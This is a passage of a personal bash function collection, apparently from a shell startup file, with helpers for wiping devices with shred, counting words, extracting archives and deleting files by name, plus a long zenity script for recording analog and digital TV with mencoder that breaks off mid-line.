####### Wipe command (uses 'shred', not 'wipe', which I think is better (sudo apt-get install wipe))
function wipe_() {
cryptsetup -d /dev/urandom -c aes-xts-plain create delete $1
shred -vzn 0 /dev/mapper/delete
sync && sleep 4
cryptsetup remove delete
}
####### Wordcount - counts frequency of words in a file
function wordfreq()
{
cat "$1"|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn
}
###### word counter
function words()
{
# words.sh
# counts words in selection and displays result in zenity window
# dependencies xsel, wc, zenity
text=$(xsel)
words=$(wc -w <<<$text)
zenity --info --title "Word Count" --text "Words in selection:\n${words}\n\n\"${text}\""
}
####### ISO-writer
function writeiso() {
if [[ $CD_WRITER ]]; then
cdrecord dev=$CD_WRITER "$1"
else cdrecord deV=/dev/dvdrw "$1"
fi
}
####### Xchown something
function xchown() {
user="$1"
shift
for df in "$@";
do su -c "chown -R $user:$user \"$df\"";
done
}
####### X delete - removes files with desired name in current directory
if [[ ${BASH_VERSINFO[0]} -ge "4" ]]; then
function xdel() {
shopt -s globstar
[[ "$@" != "" ]] &&
{ for argv in "$@"; do
rm -fv ./**/*"$argv"
done }
}
fi
####### This function uses xmllint to evaluate xpaths - usage: xpath /some/xpath XMLfile
function xpath() { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' ; }
####### Adds some text in the terminal frame
function xtitle()
{
case "$TERM" in
*term | rxvt)
echo -n -e "\033]0;$*\007" ;;
*)
;;
esac
}
####### copy and go to dir
function cpg (){
if [ -d "$2" ];then
cp $1 $2 && cd $2
else
cp $1 $2
fi
}
####### move and go to dir
function mvg (){
if [ -d "$2" ];then
mv $1 $2 && cd $2
else
mv $1 $2
fi
}
####### Meine LAN IP + LAN Bcast Adresse
function localnet ()
{
/sbin/ifconfig | awk /'net Adresse/ {print $2}'
echo ""
/sbin/ifconfig | awk /'Bcast/ {print $3}'
echo ""
}
####### Parallel XZ with progress bar
function xzv() { THREADS=`grep processor /proc/cpuinfo | wc -l`; for file in $*; do pv -s `stat -c%s $file` < $file | pxz -q -T $THREADS > $file.xz ; done; }
####### Busted... (Yaourt)
function yaourt() {
EDITORBACKUP="$EDITOR";
export EDITOR=cat;
sudo yaourt "$@";
export EDITOR="$EDITORBACKUP";
export EDITORBACKUP=
}
####### Overwrite a file with zeros
function zero() {
case "$1" in
"") echo "Usage: zero <file>"
return -1;
esac
filesize=`wc -c "$1" | awk '{print $1}'`
`dd if=/dev/zero of=$1 count=$filesize bs=1`
}
####### To create a ZIP archive of a file or folder
function zipf() { zip -r "$1".zip "$1" ; }
####### extract - Enpacken
function extract () {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xjf $1 ;;
*.tar.gz) tar xzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) rar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xf $1 ;;
*.tbz2) tar xjf $1 ;;
*.tgz) tar xzf $1 ;;
*.zip) unzip $1 ;;
*.Z) uncompress $1 ;;
*.7z) 7z x $1 ;;
*) echo "'$1' cannot be extracted via extract()" ;;
esac
else
echo "'$1' is not a valid file"
fi
}
####### Extract - extract most common compression types
#function extract() {
# local e=0 i c
# for i; do
# if [[ -f $i && -r $i ]]; then
# c=''
# case $i in
# *.t@(gz|lz|xz|b@(2|z?(2))|a@(z|r?(.@(Z|bz?(2)|gz|lzma|xz))))) #Fehler
# c='bsdtar xvf' ;;
# *.7z) c='7z x' ;;
# *.Z) c='uncompress' ;;
# *.bz2) c='bunzip2' ;;
# *.exe) c='cabextract' ;;
# *.gz) c='gunzip' ;;
# *.rar) c='unrar x' ;;
# *.xz) c='unxz' ;;
# *.zip) c='unzip' ;;
# *) echo "$0: cannot extract \`$i': Unrecognized file extension" >&2; e=1 ;;
# esac
# [[ $c ]] && command $c "$i"
# else
# echo "$0: cannot extract \`$i': File is unreadable" >&2; e=2
# fi
# done
# return $e
#}
# TV/DVD/Video/Audio Copying/ripping/extracting
#------------------------------------------////
############ TV ############
###### ANALOG TV to AVI
function atv2avi()
{
# great xvid quality is "2000" (11mb/min)
echo -n "What analog/cable tv channel would you like to convert? (1-99)?:
"
read achan_type
echo -n "Please enter how long you want to record (in this format: 02:08:17):
"
read time_type
echo -n "Please enter a name for the AVI file you will convert:
"
read file_name
echo -n "Please enter the quality you want your recording to be (in this format: 2000):
"
read qual_type
mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type
}
alias atvrip='atv2avi'
function atv2avi_w()
{
# great xvid quality is "2000" (11mb/min) (watch the recording at the same time)
echo -n "What analog/cable tv channel would you like to convert? (1-99)?:
"
read achan_type
echo -n "Please enter how long you want to record (in this format: 02:08:17):
"
read time_type
echo -n "Please enter a name for the AVI file you will convert:
"
read file_name
echo -n "Please enter the quality you want your recording to be (in this format: 2000):
"
read qual_type
mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type & (sleep 5 && mplayer $HOME/Temp/$file_name.avi)
}
alias atvrip_w='atv2avi_w'
###### WATCH ANALOG TV
function atv()
{
echo -n "What analog/cable tv channel would you like to watch? (1-99)?:
"
read ANALOGSTATION
sh -c "mplayer -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel="$ANALOGSTATION" tv:// & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
}
###### atv_
function atv_()
{
sh -c "tvtime & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
}
###### ATV
function ATV()
{
sox -s -r 32000 -c 2 -t alsa hw:1,0 -s -r 32000 -c 2 -t alsa hw:0,0 &
tvtime
t=`pidof sox`;
kill $t;
}
###### WATCH DIGITAL TV
function dtv()
{
dtvchannels
echo -n "What digital tv channel would you like to watch?:
"
read DIGITALSTATION
mplayer dvb://"$DIGITALSTATION"
}
###### DIGITAL TV to AVI
function dtv2avi()
{
# great xvid quality is "1600" (13mb/min)
dtvchannels
echo -n "What digital tv channel would you like to convert?:
"
read dchan_type
echo -n "Please enter how long you want to record (in this format: 02:08:17):
"
read time_type
echo -n "Please enter a name for the AVI file you will convert:
"
read file_name
echo -n "Please enter the quality you want your recording to be (in this format: 1600):
"
read qual_type
mencoder dvb://$dchan_type -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type
}
alias dtvrip='dtv2avi'
###### dtv2avi_w
function dtv2avi_w()
{
# great xvid quality is "1600" (13mb/min) (watch the recording at the same time)
dtvchannels
echo -n "What digital tv channel would you like to convert?:
"
read dchan_type
echo -n "Please enter how long you want to record (in this format: 02:08:17):
"
read time_type
echo -n "Please enter a name for the AVI file you will convert:
"
read file_name
echo -n "Please enter the quality you want your recording to be (in this format: 1600):
"
read qual_type
mencoder dvb://$dchan_type -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type & (sleep 5 && mplayer $HOME/Temp/$file_name.avi)
}
alias dtvrip_w='dtv2avi_w'
###### DTV2AVI
function DTV2AVI()
{
# best quality; big file size (100mb/min), but needs strong signal
dtvchannels
echo -n "What digital tv channel would you like to convert?:
"
read dchan_type
echo -n "Please enter how long you want to record (in this format: 02:08:17):
"
read time_type
echo -n "Please enter a name for the AVI file you will convert:
"
read file_name
mencoder dvb://$dchan_type -ovc copy -oac copy -o $HOME/Temp/$file_name.mpg -endpos $time_type
}
alias DTVRIP='DTV2AVI'
###### DIGITAL TV to YouTube-compliant AVI
function dtv2yt()
{
# ok quality (YouTube) (5mb/min)
dtvchannels
echo -n "What digital tv channel would you like to convert?:
"
read DIGITALSTATION
echo -n "Please enter a name for the AVI file you will convert:
"
read AVINAME
echo -n "Please enter how long you want to record (in this format: 02:08:17):
"
read ENDPOSITION
mencoder dvb://"$DIGITALSTATION" -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o "$AVINAME".avi -endpos "$ENDPOSITION"
}
####### list of all of the local digital tv channels
#function dtvchannels() {
#cat <<EOF
#<INSERT YOUR LOCAL DIGITAL TV STATIONS HERE>
#EOF
#}
###### TV (recording and watching (includes those tv functions above)
function tv()
{
# Creator: Inameiname
# Original Creator: Jose Catre-Vandis
# Version: 1.0
# Last modified: 24 September 2011
# Requirements: mencoder & zenity
# sudo apt-get install mencoder zenity
#
# THINGS YOU WILL NEED TO DO:
# 1. A working dvb card and/or analog tv card
# 2. If dvb, a ~/.mplayer/channels.conf
# - can scan dvb channels and create this by:
# - sudo scan /usr/share/dvb/atsc/us-ATSC-
# - center-frequencies-8VSB > ~/.mplayer/
# - channels.conf
# 3. If analog, a channel list, and tuned in!
# - (all channels must have no spaces!)
# - can scan analog channels and tune in by:
# - tvtime-scanner
# 4. Determine where your tv card is located, and
# change if need be (script set on 'video1')
# - tvtime-configure -d /dev/video0 # if tvtime
# - otherwise, change 'video1' to 'video0' below
######################## SOFTWARE CHECK
############ Check for required software...
mencoder_bin=`which mencoder | grep -c "mencoder"`
###### check for mencoder (also requires 'zenity')
if [ $mencoder_bin -eq "0" ]; then
zenity --error --title="Error - Missing Software" \
--text="You do not have the mencoder package installed
Please install it in order to use this script.
Make sure that the Multiverse repositories are enabled and
then type: 'sudo apt-get install mencoder' at a terminal."
exit
fi
######################## CHOOSE TV TYPE
############ What type of TV TYPE do you want?
###### you can edit these entries to suit
title="Which TV type do you want ?"
tv_type=`zenity --width="480" --height="300" --title="$title" --list --radiolist --column="Click Here" \
--column="Channel" --column="Description" \
FALSE "DVB_RECORD" "Records dvb tv"\
FALSE "ANALOG_RECORD" "Records analog tv"\
FALSE "DVB_TV" "Watch dvb tv through mplayer"\
TRUE "ANALOG_TV" "Watch analog tv through mplayer"\
FALSE "ANALOG_TV1" "Watch analog tv through tvtime 1"\
FALSE "ANALOG_TV2" "Watch analog tv through tvtime 2"\
| sed 's/ max//g' `
echo "$tv_type chosen as the channel to record."
###### user must select a target type (Check if they cancelled)
if [ ! "$tv_type" ]; then
zenity --error --title="Error" --text="You must select a TV type!"
exit
fi
######################## TV TYPES
if [ "$tv_type" = "DVB_RECORD" ]; then
############ RECORD DVB TV
###### Which DVB TV Channel? ######
###### YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
# just change the channel names to reflect your channels.conf file
# ensure there are no spaces in channel names here or in your channels.conf file
# can scan dvb channels and create this by:
# sudo scan /usr/share/dvb/atsc/us-ATSC-center-frequencies-8VSB > ~/.mplayer/channels.conf
title="Which DVB-T Channel do you want to record ?"
dchan_type=`zenity --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
--column="Channel" --column="Description" \
TRUE "ABC" "" \
FALSE "MYTV" "" \
FALSE "NBC" "" \
FALSE "CBS" "" \
FALSE "CBS2" "" \
FALSE "FOX" "" \
FALSE "WOSU-HD" "" \
FALSE "WOSU-D1" "" \
FALSE "WOSU-D2" "" \
FALSE "ADD" "" \
FALSE "YOUR" "" \
FALSE "OWN" "" \
FALSE "CHANNELS" "" \
FALSE "HERE" "" \
FALSE "Custom" "Input your own channel: 'NBC'"\
| sed 's/ max//g' `
echo "$dchan_type chosen as the channel to record."
###### user must select a target type (Check if they cancelled)
if [ ! "$dchan_type" ]; then
zenity --error --title="Error" --text="You must select a Channel!"
exit
fi
###### How Long Do You Want To Record? ######
###### how long?
title="How long do you want to record for ?"
time_type=`zenity --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
--column="Record Time" --column="Description" \
TRUE "00:00:20" "20 seconds for testing" \
FALSE "00:01:00" "1 minute" \
FALSE "00:05:00" "5 minutes" \
FALSE "00:10:00" "10 minutes" \
FALSE "00:15:00" "15 minutes" \
FALSE "00:30:00" "30 minutes" \
FALSE "00:45:00" "45 minutes" \
FALSE "01:00:00" "1 hour" \
FALSE "01:15:00" "1:15 minutes" \
FALSE "01:30:00" "1:30 minutes" \
FALSE "01:45:00" "1:45 minutes" \
FALSE "02:00:00" "2 hours" \
FALSE "02:15:00" "2:15 minutes" \
FALSE "02:30:00" "2:30 minutes" \
FALSE "02:45:00" "2:45 minutes" \
FALSE "03:00:00" "3 hours" \
FALSE "03:15:00" "3:15 minutes" \
FALSE "03:30:00" "3:30 minutes" \
FALSE "03:45:00" "3:45 minutes" \
FALSE "04:00:00" "4 hours" \
FALSE "04:15:00" "4:15 minutes" \
FALSE "04:30:00" "4:30 minutes" \
FALSE "04:45:00" "4:45 minutes" \
FALSE "05:00:00" "5 hours" \
FALSE "05:15:00" "5:15 minutes" \
FALSE "05:30:00" "5:30 minutes" \
FALSE "05:45:00" "5:45 minutes" \
FALSE "06:00:00" "6 hours" \
FALSE "06:15:00" "6:15 minutes" \
FALSE "06:30:00" "6:30 minutes" \
FALSE "06:45:00" "6:45 minutes" \
FALSE "07:00:00" "7 hours" \
FALSE "07:15:00" "7:15 minutes" \
FALSE "07:30:00" "7:30 minutes" \
FALSE "07:45:00" "7:45 minutes" \
FALSE "08:00:00" "8 hours" \
FALSE "08:15:00" "8:15 minutes" \
FALSE "08:30:00" "8:30 minutes" \
FALSE "08:45:00" "8:45 minutes" \
FALSE "09:00:00" "9 hours" \
FALSE "09:15:00" "9:15 minutes" \
FALSE "09:30:00" "9:30 minutes" \
FALSE "09:45:00" "9:45 minutes" \
FALSE "10:00:00" "10 hours" \
FALSE "10:15:00" "10:15 minutes" \
FALSE "10:30:00" "10:30 minutes" \
FALSE "10:45:00" "10:45 minutes" \
FALSE "11:00:00" "11 hours" \
FALSE "11:15:00" "11:15 minutes" \
FALSE "11:30:00" "11:30 minutes" \
FALSE "11:45:00" "11:45 minutes" \
FALSE "12:00:00" "12 hours" \
FALSE "12:15:00" "12:15 minutes" \
FALSE "12:30:00" "12:30 minutes" \
FALSE "12:45:00" "12:45 minutes" \
FALSE "13:00:00" "13 hours" \
FALSE "13:15:00" "13:15 minutes" \
FALSE "13:30:00" "13:30 minutes" \
FALSE "13:45:00" "13:45 minutes" \
FALSE "14:00:00" "14 hours" \
FALSE "14:15:00" "14:15 minutes" \
FALSE "14:30:00" "14:30 minutes" \
FALSE "14:45:00" "14:45 minutes" \
FALSE "15:00:00" "15 hours" \
FALSE "15:15:00" "15:15 minutes" \
FALSE "15:30:00" "15:30 minutes" \
FALSE "15:45:00" "15:45 minutes" \
FALSE "16:00:00" "16 hours" \
FALSE "16:15:00" "16:15 minutes" \
FALSE "16:30:00" "16:30 minutes" \
FALSE "16:45:00" "16:45 minutes" \
FALSE "17:00:00" "17 hours" \
FALSE "17:15:00" "17:15 minutes" \
FALSE "17:30:00" "17:30 minutes" \
FALSE "17:45:00" "17:45 minutes" \
FALSE "18:00:00" "18 hours" \
FALSE "18:15:00" "18:15 minutes" \
FALSE "18:30:00" "18:30 minutes" \
FALSE "18:45:00" "18:45 minutes" \
FALSE "19:00:00" "19 hours" \
FALSE "19:15:00" "19:15 minutes" \
FALSE "19:30:00" "19:30 minutes" \
FALSE "19:45:00" "19:45 minutes" \
FALSE "20:00:00" "20 hours" \
FALSE "20:15:00" "20:15 minutes" \
FALSE "20:30:00" "20:30 minutes" \
FALSE "20:45:00" "20:45 minutes" \
FALSE "21:00:00" "21 hours" \
FALSE "21:15:00" "21:15 minutes" \
FALSE "21:30:00" "21:30 minutes" \
FALSE "21:45:00" "21:45 minutes" \
FALSE "22:00:00" "22 hours" \
FALSE "22:15:00" "22:15 minutes" \
FALSE "22:30:00" "22:30 minutes" \
FALSE "22:45:00" "22:45 minutes" \
FALSE "23:00:00" "23 hours" \
FALSE "23:15:00" "23:15 minutes" \
FALSE "23:30:00" "23:30 minutes" \
FALSE "23:45:00" "23:45 minutes" \
FALSE "24:00:00" "24 hours" \
| sed 's/ max//g' `
echo "$time_type chosen as the record time."
###### user must select a target type (Check if they cancelled)
if [ ! "$time_type" ]; then
zenity --error --title="Error" --text="You must select a Time!"
exit
fi
###### Choose a Filename? ######
###### user must enter a filename
title="Please enter a filename for your recording, no spaces"
file_name=`zenity --width="480" --height="150" --title="$title" --entry`
echo "$file_name entered as the file name."
###### user must select a target type (Check if they cancelled)
if [ ! "$file_name" ]; then
zenity --error --title="Error" --text="You must enter a Filename!"
exit
fi
###### Select the Quality of Your Recording? ######
###### quality?
title="What quality do you want to record at ?"
qual_type=`zenity --width="380" --height="380" --title="$title" --list --radiolist --column="Click Here" \
--column="Record Quality" --column="Description" \
FALSE "500" "Passable Quality"\
FALSE "900" "OK Quality"\
FALSE "1100" "VHS Quality"\
FALSE "1300" "SVHS Quality"\
FALSE "1500" "VCD Quality"\
TRUE "1600" "MY Quality"\
FALSE "1800" "SVCD Quality" \
FALSE "2000" "Very Good Quality"\
FALSE "2500" "High Quality" \
FALSE "3000" "Excellent Quality"\
FALSE "MPEG-TS" "Raw dvb in ts format"\
| sed 's/ max//g' `
echo "$qual_type chosen as the encoding quality."
###### user must select a target type (Check if they cancelled)
if [ ! "$qual_type" ]; then
zenity --error --title="Error" --text="You must select an encoding quality!"
exit
fi
###### Start Time, Now or a Set Time Later? ######
###### date-time timer
# enter required time:
title="Please enter a start time..."
starttime=`zenity --width="480" --height="150" --title="$title" --entry --entry-text="now" --text="Enter Start Time in 00:00 format
or click 'OK' for immediate start"`
echo "$starttime entered as the start time."
curtime=$(date --utc --date now +%s)
echo "$curtime entered as the current time."
righttime=$(date --utc --date $starttime +%s)
echo "$righttime entered as the start time."
# this bit copes with the starting time for the encode
# beginning after midnight the following day
if (($righttime<$curtime)); then
newtime=$(($righttime+86400))
else
newtime=$righttime
fi
waittime=$(($newtime - $curtime))
echo "$waittime entered as time to wait before encoding starts"
###### user must select a target type (Check if they cancelled)
if [ ! "$newtime" ]; then
zenity --error --title="Error" --text="You must enter a Start Time!"
exit
fi
echo Channel= $dchan_type
echo Filename= $file_name
echo Encode length= $time_type
echo Quality of encode= $qual_type
sleep $waittime
###### The Actual DVB Video Encoding? ######
###### video encoding DVB
# YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
if [ "$qual_type" = "MPEG-TS" ]; then
mencoder dvb://$dchan_type -ovc copy -oac copy -o $HOME/Temp/$file_name.mpg -endpos $time_type | zenity --progress --percentage=0 --title="DVB Recording Script" --text="Processing Video...
$file_name"
elif [ "$dchan_type" = "Custom" ]; then
# custom channel
custom_dchannel="Please enter custom digital channel, no spaces"
dchan_type_custom=`zenity --width="480" --height="150" --title="$custom_dchannel" --entry`
echo "$dchan_type_custom entered as the dvb channel."
mencoder dvb://$dchan_type_custom -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="DVB Recording Script" --text="Processing Video...
$file_name"
else
mencoder dvb://$dchan_type -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip,scale -zoom -xy 624 -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="DVB Recording Script" --text="Processing Video...
$file_name"
fi
elif [ "$tv_type" = "ANALOG_RECORD" ]; then
############ RECORD ANALOG TV
###### Which Analog TV Channel? ######
###### YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
# just change the channel names to reflect your analog channels list
# you need to keep the "31-BBC1" style and format, if applicable.
# this is "channelnumber-channelname"
# can scan analog channels and tune in by (at least with tvtime):
# tvtime-scanner
title="Which Analog Channel do you want to record ?"
achan_type=`zenity --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
--column="Channel" --column="Description" \
TRUE "Composite" "Records from Composite Input" \
FALSE "SVIDEO" "Records from S-Video Input" \
FALSE "1" ""\
FALSE "2" ""\
FALSE "3" ""\
FALSE "4" ""\
FALSE "5" ""\
FALSE "6" ""\
FALSE "7" ""\
FALSE "8" ""\
FALSE "9" ""\
FALSE "10" ""\
FALSE "11" ""\
FALSE "12" ""\
FALSE "13" ""\
FALSE "14" ""\
FALSE "15" ""\
FALSE "16" ""\
FALSE "17" ""\
FALSE "18" ""\
FALSE "19" ""\
FALSE "20" ""\
FALSE "21" ""\
FALSE "22" ""\
FALSE "23" ""\
FALSE "24" ""\
FALSE "25" ""\
FALSE "26" ""\
FALSE "27" ""\
FALSE "28" ""\
FALSE "29" ""\
FALSE "30" ""\
FALSE "31" ""\
FALSE "32" ""\
FALSE "33" ""\
FALSE "34" ""\
FALSE "35" ""\
FALSE "36" ""\
FALSE "37" ""\
FALSE "38" ""\
FALSE "39" ""\
FALSE "40" ""\
FALSE "41" ""\
FALSE "42" ""\
FALSE "43" ""\
FALSE "44" ""\
FALSE "45" ""\
FALSE "46" ""\
FALSE "47" ""\
FALSE "48" ""\
FALSE "49" ""\
FALSE "50" ""\
FALSE "51" ""\
FALSE "52" ""\
FALSE "53" ""\
FALSE "54" ""\
FALSE "55" ""\
FALSE "56" ""\
FALSE "57" ""\
FALSE "58" ""\
FALSE "59" ""\
FALSE "60" ""\
FALSE "61" ""\
FALSE "62" ""\
FALSE "63" ""\
FALSE "64" ""\
FALSE "65" ""\
FALSE "66" ""\
FALSE "67" ""\
FALSE "68" ""\
FALSE "69" ""\
FALSE "70" ""\
FALSE "71" ""\
FALSE "72" ""\
FALSE "73" ""\
FALSE "74" ""\
FALSE "75" ""\
FALSE "76" ""\
FALSE "77" ""\
FALSE "78" ""\
FALSE "79" ""\
FALSE "80" ""\
FALSE "81" ""\
FALSE "82" ""\
FALSE "83" ""\
FALSE "84" ""\
FALSE "85" ""\
FALSE "86" ""\
FALSE "87" ""\
FALSE "88" ""\
FALSE "89" ""\
FALSE "90" ""\
FALSE "91" ""\
FALSE "92" ""\
FALSE "93" ""\
FALSE "94" ""\
FALSE "95" ""\
FALSE "96" ""\
FALSE "97" ""\
FALSE "98" ""\
FALSE "99" ""\
FALSE "100" ""\
FALSE "101" ""\
FALSE "102" ""\
FALSE "103" ""\
FALSE "104" ""\
FALSE "105" ""\
FALSE "106" ""\
FALSE "107" ""\
FALSE "108" ""\
FALSE "109" ""\
FALSE "110" ""\
FALSE "111" ""\
FALSE "112" ""\
FALSE "113" ""\
FALSE "114" ""\
FALSE "115" ""\
FALSE "116" ""\
FALSE "117" ""\
FALSE "118" ""\
FALSE "119" ""\
FALSE "120" ""\
FALSE "121" ""\
FALSE "122" ""\
FALSE "123" ""\
FALSE "124" ""\
FALSE "125" ""\
FALSE "Custom" "Input your own channel: '234'"\
| sed 's/ max//g' `
echo "$achan_type chosen as the channel to record."
###### user must select a target type (Check if they cancelled)
if [ ! "$achan_type" ]; then
zenity --error --title="Error" --text="You must select a Channel!"
exit
fi
###### How Long Do You Want To Record? ######
###### how long?
title="How long do you want to record for ?"
time_type=`zenity --width="380" --height="500" --title="$title" --list --radiolist --column="Click Here" \
--column="Record Time" --column="Description" \
TRUE "00:00:20" "20 seconds for testing" \
FALSE "00:01:00" "1 minute" \
FALSE "00:05:00" "5 minutes" \
FALSE "00:10:00" "10 minutes" \
FALSE "00:15:00" "15 minutes" \
FALSE "00:30:00" "30 minutes" \
FALSE "00:45:00" "45 minutes" \
FALSE "01:00:00" "1 hour" \
FALSE "01:15:00" "1:15 minutes" \
FALSE "01:30:00" "1:30 minutes" \
FALSE "01:45:00" "1:45 minutes" \
FALSE "02:00:00" "2 hours" \
FALSE "02:15:00" "2:15 minutes" \
FALSE "02:30:00" "2:30 minutes" \
FALSE "02:45:00" "2:45 minutes" \
FALSE "03:00:00" "3 hours" \
FALSE "03:15:00" "3:15 minutes" \
FALSE "03:30:00" "3:30 minutes" \
FALSE "03:45:00" "3:45 minutes" \
FALSE "04:00:00" "4 hours" \
FALSE "04:15:00" "4:15 minutes" \
FALSE "04:30:00" "4:30 minutes" \
FALSE "04:45:00" "4:45 minutes" \
FALSE "05:00:00" "5 hours" \
FALSE "05:15:00" "5:15 minutes" \
FALSE "05:30:00" "5:30 minutes" \
FALSE "05:45:00" "5:45 minutes" \
FALSE "06:00:00" "6 hours" \
FALSE "06:15:00" "6:15 minutes" \
FALSE "06:30:00" "6:30 minutes" \
FALSE "06:45:00" "6:45 minutes" \
FALSE "07:00:00" "7 hours" \
FALSE "07:15:00" "7:15 minutes" \
FALSE "07:30:00" "7:30 minutes" \
FALSE "07:45:00" "7:45 minutes" \
FALSE "08:00:00" "8 hours" \
FALSE "08:15:00" "8:15 minutes" \
FALSE "08:30:00" "8:30 minutes" \
FALSE "08:45:00" "8:45 minutes" \
FALSE "09:00:00" "9 hours" \
FALSE "09:15:00" "9:15 minutes" \
FALSE "09:30:00" "9:30 minutes" \
FALSE "09:45:00" "9:45 minutes" \
FALSE "10:00:00" "10 hours" \
FALSE "10:15:00" "10:15 minutes" \
FALSE "10:30:00" "10:30 minutes" \
FALSE "10:45:00" "10:45 minutes" \
FALSE "11:00:00" "11 hours" \
FALSE "11:15:00" "11:15 minutes" \
FALSE "11:30:00" "11:30 minutes" \
FALSE "11:45:00" "11:45 minutes" \
FALSE "12:00:00" "12 hours" \
FALSE "12:15:00" "12:15 minutes" \
FALSE "12:30:00" "12:30 minutes" \
FALSE "12:45:00" "12:45 minutes" \
FALSE "13:00:00" "13 hours" \
FALSE "13:15:00" "13:15 minutes" \
FALSE "13:30:00" "13:30 minutes" \
FALSE "13:45:00" "13:45 minutes" \
FALSE "14:00:00" "14 hours" \
FALSE "14:15:00" "14:15 minutes" \
FALSE "14:30:00" "14:30 minutes" \
FALSE "14:45:00" "14:45 minutes" \
FALSE "15:00:00" "15 hours" \
FALSE "15:15:00" "15:15 minutes" \
FALSE "15:30:00" "15:30 minutes" \
FALSE "15:45:00" "15:45 minutes" \
FALSE "16:00:00" "16 hours" \
FALSE "16:15:00" "16:15 minutes" \
FALSE "16:30:00" "16:30 minutes" \
FALSE "16:45:00" "16:45 minutes" \
FALSE "17:00:00" "17 hours" \
FALSE "17:15:00" "17:15 minutes" \
FALSE "17:30:00" "17:30 minutes" \
FALSE "17:45:00" "17:45 minutes" \
FALSE "18:00:00" "18 hours" \
FALSE "18:15:00" "18:15 minutes" \
FALSE "18:30:00" "18:30 minutes" \
FALSE "18:45:00" "18:45 minutes" \
FALSE "19:00:00" "19 hours" \
FALSE "19:15:00" "19:15 minutes" \
FALSE "19:30:00" "19:30 minutes" \
FALSE "19:45:00" "19:45 minutes" \
FALSE "20:00:00" "20 hours" \
FALSE "20:15:00" "20:15 minutes" \
FALSE "20:30:00" "20:30 minutes" \
FALSE "20:45:00" "20:45 minutes" \
FALSE "21:00:00" "21 hours" \
FALSE "21:15:00" "21:15 minutes" \
FALSE "21:30:00" "21:30 minutes" \
FALSE "21:45:00" "21:45 minutes" \
FALSE "22:00:00" "22 hours" \
FALSE "22:15:00" "22:15 minutes" \
FALSE "22:30:00" "22:30 minutes" \
FALSE "22:45:00" "22:45 minutes" \
FALSE "23:00:00" "23 hours" \
FALSE "23:15:00" "23:15 minutes" \
FALSE "23:30:00" "23:30 minutes" \
FALSE "23:45:00" "23:45 minutes" \
FALSE "24:00:00" "24 hours" \
| sed 's/ max//g' `
echo "$time_type chosen as the record time."
###### user must select a target type (Check if they cancelled)
if [ ! "$time_type" ]; then
zenity --error --title="Error" --text="You must select a Time!"
exit
fi
###### Choose a Filename? ######
###### user must enter a filename
title="Please enter a filename for your recording, no spaces"
file_name=`zenity --width="480" --height="150" --title="$title" --entry`
echo "$file_name entered as the file name."
###### user must select a target type (Check if they cancelled)
if [ ! "$file_name" ]; then
zenity --error --title="Error" --text="You must enter a Filename!"
exit
fi
###### Select the Quality of Your Recording? ######
###### quality?
title="What quality do you want to record at ?"
qual_type=`zenity --width="380" --height="380" --title="$title" --list --radiolist --column="Click Here" \
--column="Record Quality" --column="Description" \
FALSE "500" "Passable Quality"\
FALSE "900" "OK Quality"\
FALSE "1100" "VHS Quality"\
FALSE "1300" "SVHS Quality"\
FALSE "1500" "VCD Quality"\
TRUE "1600" "MY Quality"\
FALSE "1800" "SVCD Quality" \
FALSE "2000" "Very Good Quality"\
FALSE "2500" "High Quality" \
FALSE "3000" "Excellent Quality"\
| sed 's/ max//g' `
echo "$qual_type chosen as the encoding quality."
###### user must select a target type (Check if they cancelled)
if [ ! "$qual_type" ]; then
zenity --error --title="Error" --text="You must select an encoding quality!"
exit
fi
###### Start Time, Now or a Set Time Later? ######
###### date-time timer
# enter required time:
title="Please enter a start time..."
starttime=`zenity --width="480" --height="150" --title="$title" --entry --entry-text="now" --text="Enter Start Time in 00:00 format
